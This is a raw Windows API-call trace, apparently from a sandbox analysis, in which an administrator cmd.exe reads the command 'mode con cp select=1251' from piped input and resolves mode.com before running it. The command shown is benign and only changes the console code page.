SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0059.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.938] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0059.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.938] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0059.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.938] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0059.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.938] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0059.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.938] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0059.938] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.938] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.938] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.938] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.939] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.939] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.939] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.939] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.939] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.939] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.939] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0059.939] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.939] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.940] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0059.940] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.940] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.940] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0059.940] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.940] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.940] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0059.940] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.940] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.940] ReadFile (in: hFile=0xe8, lpBuffer=0x49f8c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x28f7b8, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesRead=0x28f7b8*=0x1, lpOverlapped=0x0) returned 1 [0059.940] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f8c320, cbMultiByte=1, lpWideCharStr=0x49f8e34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0059.941] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.941] GetFileType (hFile=0xe8) returned 0x3 [0059.941] _get_osfhandle (_FileHandle=0) returned 0xe8 [0059.941] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0059.941] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.941] GetFileType (hFile=0xf4) returned 0x3 [0059.941] _get_osfhandle (_FileHandle=1) returned 0xf4 [0059.941] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x49f8c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0059.941] WriteFile (in: hFile=0xf4, lpBuffer=0x49f8c320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x28f798, lpOverlapped=0x0 | out: lpBuffer=0x49f8c320*, lpNumberOfBytesWritten=0x28f798*=0x18, lpOverlapped=0x0) returned 1 [0059.941] GetProcessHeap () returned 0x70000 [0059.941] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x4012) returned 0x8cd20 [0059.941] GetProcessHeap () returned 0x70000 [0059.941] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x8cd20 | out: hHeap=0x70000) returned 1 [0059.941] _wcsicmp (_String1="mode", _String2=")") returned 68 [0059.941] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0059.941] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0059.941] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0059.941] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0059.941] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0059.942] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0059.942] GetProcessHeap () returned 0x70000 [0059.942] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xb0) returned 0x897e0 [0059.942] GetProcessHeap () returned 0x70000 [0059.942] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x1a) returned 0x84610 [0059.942] GetProcessHeap () returned 0x70000 [0059.942] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x38) returned 0x86510 [0059.943] GetConsoleOutputCP () returned 0x1b5 [0059.943] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f8bfe0 | out: lpCPInfo=0x49f8bfe0) returned 1 [0059.943] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0059.943] GetConsoleTitleW (in: lpConsoleTitle=0x28f750, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0059.944] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0059.944] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0059.944] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0059.944] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0059.944] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0059.944] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0059.944] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0059.944] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0059.944] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0059.944] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0059.944] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0059.944] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0059.944] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0059.944] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0059.944] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0059.944] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0059.944] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0059.944] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0059.944] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0059.944] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0059.944] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0059.944] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0059.944] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0059.944] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0059.944] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0059.944] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0059.944] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0059.944] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0059.944] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0059.944] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0059.944] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0059.944] _wcsicmp (_String1="mode", _String2="START") returned -6 [0059.944] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0059.944] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0059.944] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0059.944] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0059.945] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0059.945] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0059.945] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0059.945] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0059.945] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0059.945] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0059.945] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0059.945] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0059.945] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0059.945] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0059.945] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0059.945] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0059.945] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0059.945] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0059.945] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0059.945] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0059.945] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0059.945] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0059.945] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0059.945] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0059.945] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0059.945] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0059.945] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0059.945] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0059.945] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0059.945] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0059.945] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0059.945] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0059.945] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0059.945] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0059.945] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0059.945] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0059.945] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0059.945] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0059.945] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0059.946] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0059.946] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0059.946] _wcsicmp (_String1="mode", _String2="START") returned -6 [0059.946] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0059.946] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0059.946] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0059.946] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0059.946] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0059.946] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0059.946] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0059.946] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0059.946] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0059.946] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0059.946] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0059.946] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0059.946] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0059.946] GetProcessHeap () returned 0x70000 [0059.946] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x218) returned 0x71ab0 [0059.946] GetProcessHeap () returned 0x70000 [0059.946] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x42) returned 0x898a0 [0059.946] _wcsnicmp (_String1="mode", _String2="cmd ", _MaxCount=0x4) returned 10 [0059.946] GetProcessHeap () returned 0x70000 [0059.947] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x420) returned 0x89a80 [0059.947] SetErrorMode (uMode=0x0) returned 0x0 [0059.947] SetErrorMode (uMode=0x1) returned 0x0 [0059.948] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x89a90, lpFilePart=0x28efe0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x28efe0*="Desktop") returned 0x25 [0059.948] SetErrorMode (uMode=0x0) returned 0x1 [0059.948] GetProcessHeap () returned 0x70000 [0059.948] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89a80, Size=0x66) returned 0x89a80 [0059.948] GetProcessHeap () returned 0x70000 [0059.948] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89a80) returned 0x66 [0059.948] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0059.948] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0059.949] GetProcessHeap () returned 0x70000 [0059.949] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x128) returned 0x71cd0 [0059.949] GetProcessHeap () returned 0x70000 [0059.949] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x240) returned 0x89b00 [0059.954] GetProcessHeap () returned 0x70000 [0059.954] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89b00, Size=0x12a) returned 0x89b00 [0059.955] GetProcessHeap () returned 0x70000 [0059.955] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89b00) returned 0x12a [0059.955] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49f7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0059.955] GetProcessHeap () returned 0x70000 [0059.955] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0xe8) returned 0x85b70 [0059.955] GetProcessHeap () returned 0x70000 [0059.955] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x85b70, Size=0x7e) returned 0x85b70 [0059.955] GetProcessHeap () returned 0x70000 [0059.955] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x85b70) returned 0x7e [0059.956] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0059.956] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0xffffffffffffffff [0059.956] GetLastError () returned 0x2 [0059.956] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\mode", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0xffffffffffffffff [0059.957] GetLastError () returned 0x2 [0059.957] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0059.957] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.*", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0x85c00 [0059.957] GetProcessHeap () returned 0x70000 [0059.957] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x0, Size=0x28) returned 0x84640 [0059.957] FindClose (in: hFindFile=0x85c00 | out: hFindFile=0x85c00) returned 1 [0059.957] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\mode.COM", fInfoLevelId=0x1, lpFindFileData=0x28ed50, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x28ed50) returned 0x85c00 [0059.957] GetProcessHeap () returned 0x70000 [0059.957] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x84640, Size=0x8) returned 0x898f0 [0059.957] FindClose (in: hFindFile=0x85c00 | out: hFindFile=0x85c00) returned 1 [0059.957] _wcsicmp (_String1=".COM", _String2=".BAT") returned 1 [0059.957] _wcsicmp (_String1=".COM", _String2=".CMD") returned 2 [0059.957] GetConsoleTitleW (in: lpConsoleTitle=0x28f2a0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0059.957] GetProcessHeap () returned 0x70000 [0059.957] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x21c) returned 0x89c40 [0059.958] GetConsoleTitleW (in: lpConsoleTitle=0x89c50, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0059.958] GetProcessHeap () returned 0x70000 [0059.958] RtlReAllocateHeap (Heap=0x70000, Flags=0x0, Ptr=0x89c40, Size=0xa8) returned 0x89c40 [0059.958] GetProcessHeap () returned 0x70000 [0059.958] RtlSizeHeap (HeapHandle=0x70000, Flags=0x0, MemoryPointer=0x89c40) returned 0xa8 [0059.958] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - mode con cp select=1251") returned 1 [0059.958] GetProcessHeap () returned 0x70000 [0059.958] HeapFree (in: hHeap=0x70000, dwFlags=0x0, lpMem=0x89c40 | out: hHeap=0x70000) returned 1 [0059.958] InitializeProcThreadAttributeList (in: lpAttributeList=0x28f058, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x28f018 | out: lpAttributeList=0x28f058, lpSize=0x28f018) returned 1 [0059.958] UpdateProcThreadAttribute (in: lpAttributeList=0x28f058, dwFlags=0x0, Attribute=0x60001, lpValue=0x28f008, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x28f058, lpPreviousValue=0x0) returned 1 [0059.958] GetStartupInfoW (in: lpStartupInfo=0x28f170 | out: lpStartupInfo=0x28f170*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4)) [0059.958] GetProcessHeap () returned 0x70000 [0059.959] RtlAllocateHeap (HeapHandle=0x70000, Flags=0x8, Size=0x20) returned 0x84640 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0059.959] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 